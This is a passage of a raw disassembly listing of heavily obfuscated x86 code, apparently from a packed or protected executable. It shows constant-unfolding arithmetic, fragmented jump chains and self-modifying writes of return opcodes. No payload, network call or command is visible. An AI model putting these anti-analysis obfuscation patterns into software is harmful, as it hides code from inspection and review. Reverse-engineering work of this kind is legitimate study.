arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00754477 SIZE 0000001E BYTES xchg edx, [esp+0] pop edx pop edx mov eax, [esp-8+arg_4] push edx call sub_745715 jmp loc_754477 sub_7508E6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_7508F9 proc near ; CODE XREF: sub_750243-3A17p ; FUNCTION CHUNK AT 007451C6 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 00746400 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00746C47 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 007486E5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00748EAE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C8BF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074C910 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00754191 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi shl dword ptr [ebp-8], 8 loc_750901: ; CODE XREF: sub_757498:loc_749820j ; sub_7473D1:loc_756D89j js loc_746400 mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jmp loc_74C910 sub_7508F9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F15D loc_750912: ; CODE XREF: sub_74F15D:loc_7466AFj push 0F0D79C05h pop edi add edi, 0C8D6A11Ch sub edi, 6C2CF9C3h rol edi, 18h push offset loc_755222 jmp loc_751550 ; END OF FUNCTION CHUNK FOR sub_74F15D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BA29 loc_750931: ; CODE XREF: sub_74BA29+1j mov ebp, esp jno sub_74E7AE add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax push offset sub_753B3E jmp nullsub_82 ; END OF FUNCTION CHUNK FOR sub_74BA29 ; --------------------------------------------------------------------------- loc_75094C: ; CODE XREF: _0z4jwtox:loc_754160j ; _0z4jwtox:00754170j sub ebx, 9FB02B0Fh add ebx, 0A023D74Ah xchg ebx, [esp] jmp sub_746E93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745911 loc_750960: ; CODE XREF: sub_745911:loc_74BB71j ; _0z4jwtox:00754044j mov [ebp+var_5], al call sub_748B7B loc_750968: ; CODE XREF: sub_74A83D+5551j jmp loc_745843 ; END OF FUNCTION CHUNK FOR sub_745911 ; --------------------------------------------------------------------------- or eax, 2D4C3FCBh ror edx, 0Fh jmp loc_7481F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748DCB loc_75097B: ; CODE XREF: sub_748DCB:loc_747BF1j pop eax add eax, 0B15AD644h cmp eax, 379BE3E6h jmp loc_7546A9 ; END OF FUNCTION CHUNK FOR sub_748DCB ; --------------------------------------------------------------------------- loc_75098D: ; CODE XREF: _0z4jwtox:loc_7490ECj jnz loc_749E03 ; START OF FUNCTION CHUNK FOR sub_753FCE loc_750993: ; CODE XREF: sub_753FCE-5C5Aj jmp nullsub_124 ; END OF FUNCTION CHUNK FOR sub_753FCE ; --------------------------------------------------------------------------- mov [eax], edi jmp loc_749E00 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749306 loc_7509A0: ; CODE XREF: sub_749306-2463j pushf jmp loc_74937F ; END OF FUNCTION CHUNK FOR sub_749306 ; --------------------------------------------------------------------------- loc_7509A6: ; CODE XREF: _0z4jwtox:00752EEDj push edi push ebx push 13E239CEh pop ebx xor ebx, 0FA591256h add ebx, 16BA0F08h jmp loc_74EAE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75364C loc_7509BF: ; CODE XREF: sub_75364C+Aj mov al, [eax] jno loc_750269 sub al, 99h push offset loc_7543A3 jmp nullsub_112 ; END OF FUNCTION CHUNK FOR sub_75364C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D782 loc_7509D3: ; CODE XREF: sub_74D782+777Aj cmp eax, 47AB5769h jmp loc_745DE6 ; END OF FUNCTION CHUNK FOR sub_74D782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7541BA loc_7509DE: ; CODE XREF: sub_7541BA-B4E2j xor esi, ebp ; END OF FUNCTION CHUNK FOR sub_7541BA ; =============== S U B R O U T I N E ======================================= sub_7509E0 proc near ; CODE XREF: sub_748538+9p ; FUNCTION CHUNK AT 0074A02C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074AF75 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx xor eax, 0B4744145h jmp loc_74A02C sub_7509E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_7509EF: ; CODE XREF: sub_7557E7-9E5Dj pop ebp add ecx, 6BEDBD5Dh test ecx, 40000000h jmp loc_7502AB ; END OF FUNCTION CHUNK FOR sub_7557E7 ; =============== S U B R O U T I N E ======================================= sub_750A01 proc near ; DATA XREF: sub_747736+Ao ; FUNCTION CHUNK AT 0074589D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0074D492 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00753D51 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00755009 SIZE 00000005 BYTES cmp dword ptr [ebp-10h], 0 jnz loc_753D51 mov eax, [ebp+8] push eax jmp loc_74D492 sub_750A01 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_750A14: ; CODE XREF: _0z4jwtox:00750F29j jbe loc_7536DF ; START OF FUNCTION CHUNK FOR sub_752C44 loc_750A1A: ; CODE XREF: sub_752C44:loc_750F13j add esi, 0C066BC5Ch push offset loc_74FCE1 jmp loc_7515C0 ; END OF FUNCTION CHUNK FOR sub_752C44 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_750A2B: ; CODE XREF: _0z4jwtox:007502E1j jmp sub_755148 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75740D loc_750A30: ; CODE XREF: sub_75740D+6j xchg ebx, [esp+4+var_4] mov edx, ecx push offset loc_74C235 jmp loc_752452 ; END OF FUNCTION CHUNK FOR sub_75740D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7476BB loc_750A3F: ; CODE XREF: sub_7476BB:loc_74D6B2j pop ebx or ebx, 0EB33F7ABh xor ebx, 9CEEC81Dh and ebx, 1D3EF65Ch sub ebx, 3B767E31h add ebx, 2A9C3881h jmp loc_756A35 ; END OF FUNCTION CHUNK FOR sub_7476BB ; =============== S U B R O U T I N E ======================================= sub_750A63 proc near ; CODE XREF: _0z4jwtox:00753A1Bj ; sub_74F69D+7584p ; FUNCTION CHUNK AT 007538AE SIZE 0000000F BYTES xchg esi, [esp+0] pop esi call sub_746E93 push esi push 6CDCF22h jmp loc_7538AE sub_750A63 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_750A77: ; CODE XREF: sub_74673E+662Fj jno loc_756609 loc_750A7D: ; CODE XREF: sub_74673E:loc_74C8CDj add edi, 0C0AC75D2h xchg edi, [esp-0Ch+arg_8] jmp loc_746A5D ; END OF FUNCTION CHUNK FOR sub_74673E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_196. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_750A8C: ; CODE XREF: _0z4jwtox:007456F4j jnz locret_75759C jmp loc_74752D ; --------------------------------------------------------------------------- jz loc_75772D jmp loc_74B7D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_750AA2: ; CODE XREF: sub_74CBCF-7A51j jl loc_74BF60 jl loc_7520EC jmp loc_74BF52 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF35 loc_750AB3: ; CODE XREF: sub_74CF35:loc_747CD0j jz loc_7576BD ; END OF FUNCTION CHUNK FOR sub_74CF35 ; START OF FUNCTION CHUNK FOR sub_747B76 loc_750AB9: ; CODE XREF: sub_747B76+2C24j jmp loc_75483C ; END OF FUNCTION CHUNK FOR sub_747B76 ; --------------------------------------------------------------------------- shr ebp, 1 test eax, 0DED1A80Ch jmp loc_74C5A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D4D3 loc_750ACB: ; CODE XREF: sub_74D4D3:loc_74AE08j mov ecx, edx xchg ecx, [esp-4+arg_0] call sub_75740D push 0AAADFB71h pop eax or eax, 7A8DC4A2h jmp loc_748D7A ; END OF FUNCTION CHUNK FOR sub_74D4D3 ; --------------------------------------------------------------------------- loc_750AE6: ; CODE XREF: _0z4jwtox:00745CD6j push 3A320D1Fh ; =============== S U B R O U T I N E ======================================= sub_750AEB proc near ; CODE XREF: _0z4jwtox:0074647Dp xchg ebx, [esp+0] sub_750AEB endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_747736 loc_750AEE: ; CODE XREF: sub_747736:loc_753AEAj pop ebx push ebx push 401E6EEEh jmp loc_74A6BF ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- jle loc_749DB5 jmp loc_7558CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E37 loc_750B05: ; CODE XREF: sub_74CF35-430Dj ; sub_746E37+A181j pop eax xor eax, 7DBC547Dh and eax, 5A34D795h add eax, 0E517B7AFh call sub_746E93 push edi push 16697046h xchg esi, [esp+0] jmp loc_74C994 ; END OF FUNCTION CHUNK FOR sub_746E37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_750B2B: ; CODE XREF: sub_746163:loc_74616Fj jnz loc_74FF65 add esi, 0D3F8511Eh adc ecx, ebx jmp loc_74A242 ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- loc_750B3E: ; CODE XREF: _0z4jwtox:00746864j cmp ebx, 0A5240A2h jmp loc_74B0BA ; =============== S U B R O U T I N E ======================================= sub_750B49 proc near ; CODE XREF: _0z4jwtox:0074D2D9j ; _0z4jwtox:0074D97Ap ; FUNCTION CHUNK AT 00752531 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx pop edx lea eax, sub_7467F4 mov byte ptr [eax], 0C3h jmp loc_752531 sub_750B49 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_750B5C proc near ; CODE XREF: sub_40C212+34p ; .text:00412820p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074ABAD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753D9D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 007576B8 SIZE 00000005 BYTES push esi push 98ED97C7h pop esi jmp loc_7576B8 sub_750B5C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D424 loc_750B69: ; CODE XREF: sub_74D424+Cj jmp loc_749CC1 ; END OF FUNCTION CHUNK FOR sub_74D424 ; --------------------------------------------------------------------------- push 93371E97h pop eax or eax, 0C27355F1h rol eax, 19h call sub_74BFF8 ; START OF FUNCTION CHUNK FOR sub_747290 loc_750B82: ; CODE XREF: sub_747290:loc_74D141j mov eax, [esp+0] push edx call sub_75740D push 8869D2D2h pop eax rol eax, 19h and eax, 201B6810h sub eax, 0CD61F9D4h jmp loc_74F123 ; END OF FUNCTION CHUNK FOR sub_747290 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_750BA5: ; CODE XREF: sub_747736:loc_7493FEj jz loc_7494F9 jmp loc_752203 ; END OF FUNCTION CHUNK FOR sub_747736 ; =============== S U B R O U T I N E ======================================= sub_750BB0 proc near ; DATA XREF: _0z4jwtox:0074DA52o push eax sub_750BB0 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_7572F3 loc_750BB1: ; CODE XREF: sub_7572F3:loc_74A398j call sub_74FEAF ; END OF FUNCTION CHUNK FOR sub_7572F3 ; START OF FUNCTION CHUNK FOR sub_754A60 loc_750BB6: ; CODE XREF: sub_754A60-792j jmp sub_755F42 ; END OF FUNCTION CHUNK FOR sub_754A60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C3EB loc_750BBB: ; CODE XREF: sub_74C3EB-6EB3j jns loc_7526F4 mov [ebp+0], eax ; END OF FUNCTION CHUNK FOR sub_74C3EB ; START OF FUNCTION CHUNK FOR sub_747736 loc_750BC4: ; CODE XREF: sub_747736+B305j jmp loc_750C69 ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_750BC9: ; CODE XREF: sub_747C39+Aj sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] jmp loc_751007 ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E693 loc_750BD5: ; CODE XREF: sub_74E693-90A1j jge loc_74C473 ; END OF FUNCTION CHUNK FOR sub_74E693 ; START OF FUNCTION CHUNK FOR sub_746640 loc_750BDB: ; CODE XREF: sub_746640-E4Ej jmp nullsub_200 ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- xor ebx, eax jmp loc_74C468 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B1F1 loc_750BE7: ; CODE XREF: sub_74B1F1:loc_7525B8j jnz loc_748A52 jmp loc_75254A ; END OF FUNCTION CHUNK FOR sub_74B1F1 ; --------------------------------------------------------------------------- push ecx push 9E040D3Ah pop ecx rol ecx, 1Ch add ecx, 0F8780404h sub ecx, 0A1ED1006h jmp loc_748C56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AC6D loc_750C0D: ; CODE XREF: sub_74AC6D:loc_74AF38j mov eax, [esp-8+arg_4] push esi mov esi, edx xchg esi, [esp-4+arg_0] push eax jmp loc_756749 ; END OF FUNCTION CHUNK FOR sub_74AC6D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_750C1C: ; CODE XREF: sub_74D1F3:loc_748DB2j cmp byte ptr [eax], 0F1h jnz loc_7554A8 jmp loc_747286 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- loc_750C2A: ; CODE XREF: _0z4jwtox:00750876j rol ebp, 7 ; =============== S U B R O U T I N E ======================================= sub_750C2D proc near ; CODE XREF: sub_7457DD+FF34p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00746102 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074719B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00747AC8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007495C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D8B4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 007513EE SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00755EB9 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 007565BE SIZE 0000000B BYTES xchg edx, [esp-4+arg_0] pop edx xchg edi, [esp-8+arg_4] mov eax, edi jmp loc_74D8B4 sub_750C2D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7463AE loc_750C3B: ; CODE XREF: sub_7463AE+D092j jb loc_74CDBD ; END OF FUNCTION CHUNK FOR sub_7463AE ; START OF FUNCTION CHUNK FOR sub_748FA4 loc_750C41: ; CODE XREF: sub_74BFE0-5D51j ; sub_748FA4+Dj ... jmp loc_74CFD6 ; END OF FUNCTION CHUNK FOR sub_748FA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7463AE loc_750C46: ; CODE XREF: sub_7463AE+Aj ; sub_74BFE0+1093j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_7463AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBB7 loc_750C49: ; CODE XREF: sub_74CBB7+3AFAj jmp loc_7542A5 ; END OF FUNCTION CHUNK FOR sub_74CBB7 ; =============== S U B R O U T I N E ======================================= sub_750C4E proc near ; CODE XREF: _0z4jwtox:loc_745353j ; _0z4jwtox:00747E0Dj ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007480FB SIZE 0000000F BYTES ; FUNCTION CHUNK AT 007484C2 SIZE 00000005 BYTES push eax mov eax, ebp jmp loc_7480FB sub_750C4E endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B3EB loc_750C57: ; CODE XREF: sub_74B3EB+Cj jmp loc_74AA54 ; END OF FUNCTION CHUNK FOR sub_74B3EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_750C5C: ; CODE XREF: sub_74D23E-3153j jmp loc_745F0A ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E37 loc_750C61: ; CODE XREF: sub_746E37+B9A4j jnb loc_7492F4 sub edx, ecx ; END OF FUNCTION CHUNK FOR sub_746E37 ; START OF FUNCTION CHUNK FOR sub_7457DD loc_750C69: ; CODE XREF: sub_7457DD+4A5Aj ; sub_747C39+62D2j ... jmp loc_74DE58 ; END OF FUNCTION CHUNK FOR sub_7457DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746389 loc_750C6E: ; CODE XREF: sub_74C3EB+6j ; sub_746389+73A4j xchg ebx, [esp-4+arg_0] mov ecx, ebx pop ebx jmp loc_74D740 ; END OF FUNCTION CHUNK FOR sub_746389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_750C79: ; CODE XREF: sub_7490F6+9FDj and eax, ebp loc_750C7B: ; CODE XREF: sub_7490F6:loc_75207Bj push 85051DB2h pop eax sub eax, 3B8A7B96h add eax, 0F6C4CD87h push offset loc_74A16B jmp nullsub_121 ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- loc_750C97: ; CODE XREF: _0z4jwtox:007556ABj jb loc_75714B pushf jmp loc_756CA3 ; --------------------------------------------------------------------------- loc_750CA3: ; CODE XREF: _0z4jwtox:loc_74C6B3j ; _0z4jwtox:0074C6C2j add edi, 12A6F44Bh call sub_748551 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B822 loc_750CAF: ; CODE XREF: sub_74B822:loc_74B829j cmp dword ptr [eax], 0FFFFFFFFh mov ebx, [eax+4] mov eax, [eax] jnz loc_74B829 jmp nullsub_88 ; END OF FUNCTION CHUNK FOR sub_74B822 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_750CC2: ; CODE XREF: sub_752D11-C1ACj ja loc_74901D loc_750CC8: ; CODE XREF: sub_745A78:loc_752192j xor esi, edx jmp loc_7455CD ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- loc_750CCF: ; CODE XREF: _0z4jwtox:007493DEj jle loc_74A5EB ; =============== S U B R O U T I N E ======================================= sub_750CD5 proc near ; CODE XREF: _0z4jwtox:00753717p xchg ebx, [esp+0] pop ebx lea eax, sub_747A67 mov byte ptr [eax], 0C3h jmp sub_747A67 sub_750CD5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_750CE7: ; DATA XREF: sub_756B70+9o cmp ds:dword_74F3A0, 0 jnz loc_748F0C jmp loc_7483BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_750CF9: ; CODE XREF: sub_7561AB:loc_7574C3j mov edx, [edx] mov [edx], al inc dword ptr [ebp-28h] push 4E7E3198h pop eax sub eax, 0A0AE5019h jmp loc_74EE22 ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- loc_750D11: ; CODE XREF: _0z4jwtox:loc_7548BFj xchg edx, [esp] jmp loc_74D47D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755F77 loc_750D19: ; CODE XREF: sub_755F77:loc_74B73Bj push offset sub_7514D2 jmp loc_755562 ; END OF FUNCTION CHUNK FOR sub_755F77 ; --------------------------------------------------------------------------- loc_750D23: ; CODE XREF: _0z4jwtox:0074BF9Ej jno loc_748C34 ; =============== S U B R O U T I N E ======================================= sub_750D29 proc near ; CODE XREF: sub_74BED4:loc_74E8F7p ; FUNCTION CHUNK AT 00746A53 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi mov eax, [ebp-20h] jmp loc_746A53 sub_750D29 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_750D35 proc near ; DATA XREF: _0z4jwtox:00755E5Ao push 3F375ABEh pop edx sub edx, 46630FADh or edx, 0C7DC51B3h xor edx, 4EA07E17h jmp loc_7467DB sub_750D35 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7453FB loc_750D52: ; CODE XREF: sub_7453FB+9j push offset sub_74F78B jmp loc_751591 ; END OF FUNCTION CHUNK FOR sub_7453FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A372 loc_750D5C: ; CODE XREF: sub_74A372:loc_747472j cmp dword ptr [eax-4], 4 jnz loc_750D6F add dword ptr [ebp-8], 4 jmp loc_754B85 ; --------------------------------------------------------------------------- loc_750D6F: ; CODE XREF: sub_74A372+69EEj add dword ptr [ebp-8], 2 jmp loc_7500DA ; END OF FUNCTION CHUNK FOR sub_74A372 ; --------------------------------------------------------------------------- loc_750D78: ; CODE XREF: _0z4jwtox:007481C0j jnp nullsub_26 mov ebp, 542EB7E5h ; START OF FUNCTION CHUNK FOR sub_757314 loc_750D83: ; CODE XREF: sub_757314-F166j or ecx, 0F741EF6Ch jnz loc_74FA17 mov ecx, [ebp+0] jmp loc_74FA10 ; END OF FUNCTION CHUNK FOR sub_757314 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_750D97: ; CODE XREF: sub_752D11-BE10j ror ecx, 17h jmp loc_7573B1 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- loc_750D9F: ; CODE XREF: _0z4jwtox:007550F3j and ebx, eax jg loc_7566F1 xor eax, ecx loc_750DA9: ; CODE XREF: _0z4jwtox:loc_752E7Aj mov eax, [esp] push ecx mov ecx, ebx jmp loc_74EDF4 ; --------------------------------------------------------------------------- loc_750DB4: ; CODE XREF: _0z4jwtox:00756C4Ej pop esi adc edx, esi ; START OF FUNCTION CHUNK FOR sub_748DCB loc_750DB7: ; CODE XREF: sub_748DCB:loc_756C39j add ecx, 59228D98h add ecx, ebp add ecx, 47B0BCE2h mov [ecx], eax pop ecx jmp loc_754F3A ; END OF FUNCTION CHUNK FOR sub_748DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_750DCD: ; CODE XREF: sub_752D11:loc_749022j xor eax, eax jmp loc_74E2B0 ; END OF FUNCTION CHUNK FOR sub_752D11 ; =============== S U B R O U T I N E ======================================= sub_750DD4 proc near ; CODE XREF: sub_75275A-AD15j ; _0z4jwtox:0074C72Cp arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg edx, [esp-4+arg_0] jmp sub_746E93 sub_750DD4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- shl ebx, 1Eh cmp edi, ecx jmp loc_7457D7 ; --------------------------------------------------------------------------- loc_750DEA: ; DATA XREF: sub_749980+1C8Co mov eax, [esp] push esi push 0F530BE75h pop esi sub esi, 6A355F4Bh jmp loc_754ED4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753176 loc_750DFF: ; CODE XREF: sub_753176-76B3j ja loc_756609 loc_750E05: ; CODE XREF: sub_753176:loc_74932Ej mov eax, [ebp-4] loc_750E08: ; CODE XREF: _0z4jwtox:loc_755329j cmp byte ptr [eax], 0F1h jnz loc_755338 jmp loc_746D99 ; END OF FUNCTION CHUNK FOR sub_753176 ; --------------------------------------------------------------------------- loc_750E16: ; CODE XREF: _0z4jwtox:00754C63j js loc_755974 sub ecx, edx jmp sub_7564A7 ; --------------------------------------------------------------------------- rol ecx, 13h jmp sub_746D0D ; --------------------------------------------------------------------------- push 0EF34F705h pop eax add eax, 50C84FCAh test eax, 4000h jmp loc_756945 ; --------------------------------------------------------------------------- loc_750E42: ; CODE XREF: _0z4jwtox:loc_754F62j lea eax, sub_74F688 mov byte ptr [eax], 0C3h jmp sub_74F688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F688 loc_750E50: ; CODE XREF: sub_74F688j pop edx mov eax, [esp+4+var_4] jmp loc_748D5E ; END OF FUNCTION CHUNK FOR sub_74F688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE46 loc_750E59: ; CODE XREF: sub_74AE46:loc_755BD4j ; _0z4jwtox:00755BF4j add ecx, 0D3E15BC5h xchg ecx, [esp+0] jmp loc_752D79 ; END OF FUNCTION CHUNK FOR sub_74AE46 ; --------------------------------------------------------------------------- loc_750E67: ; CODE XREF: _0z4jwtox:loc_74A4FDj push edx call sub_754A3D push 75564390h pop eax and eax, 0DCDF490Dh rol eax, 2 jmp loc_74BAFA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_750E81: ; CODE XREF: sub_752D11-A4B0j sub al, 99h push 970BC73Bh pop edx sub edx, 0F70B4A5Ch add edx, 53ADAB2Eh sub edx, 47B7C9B2h add edx, 0F0507251h add edx, ebp jmp loc_74E033 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7562F7 loc_750EA8: ; CODE XREF: sub_7562F7+12j jz loc_74ECDD jmp loc_751EC1 ; END OF FUNCTION CHUNK FOR sub_7562F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748DCB loc_750EB3: ; CODE XREF: sub_748DCB:loc_756C3Fj add eax, 79F707A7h xor eax, 0A7DAAC5h ; END OF FUNCTION CHUNK FOR sub_748DCB ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_750EBF: ; CODE XREF: sub_74AAC1:loc_74B0A7j call sub_746E93 mov ds:off_41F158, eax jmp loc_752470 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; =============== S U B R O U T I N E ======================================= sub_750ECF proc near ; DATA XREF: sub_74CBCF-6C2Co xor eax, 0A9261620h rol eax, 0Eh loc_750ED8: ; CODE XREF: sub_746FBD:loc_7562D0j mov ds:dword_756488, eax sub_750ECF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_750EDE: ; CODE XREF: sub_74CBCF+Cj ; sub_7562F7+Cj jns loc_74EB91 ror eax, 0Eh xor eax, 0A9261620h ror eax, 11h xor eax, 176F47E5h jmp loc_75404F ; END OF FUNCTION CHUNK FOR sub_74CBCF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_177. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_750EFC: ; CODE XREF: sub_74AAC1+CCD3j jmp loc_756E98 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752C44 loc_750F01: ; CODE XREF: sub_752C44:loc_754931j pop ebx or eax, 0C6C95ED5h add eax, 0BC264306h call sub_748E45 loc_750F13: ; CODE XREF: sub_7564D5:loc_752179j jz loc_750A1A ; END OF FUNCTION CHUNK FOR sub_752C44 ; START OF FUNCTION CHUNK FOR sub_74C2C9 loc_750F19: ; CODE XREF: sub_74C2C9+97CCj jmp loc_752D5F ; END OF FUNCTION CHUNK FOR sub_74C2C9 ; --------------------------------------------------------------------------- rol edx, 0Ah sbb ebx, 872C7216h test ebx, ecx jmp loc_750A14 ; =============== S U B R O U T I N E ======================================= sub_750F2E proc near ; CODE XREF: _0z4jwtox:0074B17Aj ; sub_75051C:loc_75232Dp ; FUNCTION CHUNK AT 0075432C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755CB5 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00756E49 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push 0A981268Bh pop eax xor eax, 84DB6165h jmp loc_756E49 sub_750F2E endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, 9DD7AB44h call sub_746E93 mov ds:off_41F06C, eax lea eax, loc_74A0DE call sub_74ED53 loc_750F5E: ; CODE XREF: _0z4jwtox:007463E6j jmp sub_753D0E ; =============== S U B R O U T I N E ======================================= sub_750F63 proc near ; CODE XREF: _0z4jwtox:0074AB5Fj ; _0z4jwtox:007574BEp ; FUNCTION CHUNK AT 00755463 SIZE 00000006 BYTES xchg edx, [esp+0] pop edx push 2DC07D9Dh pop esi and esi, 878C1187h jmp loc_755463 sub_750F63 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmp edi, 45C43CCCh jmp loc_747424 ; --------------------------------------------------------------------------- push 30A831C0h pop eax and eax, 6A70E70Eh add eax, 0DF903FE7h 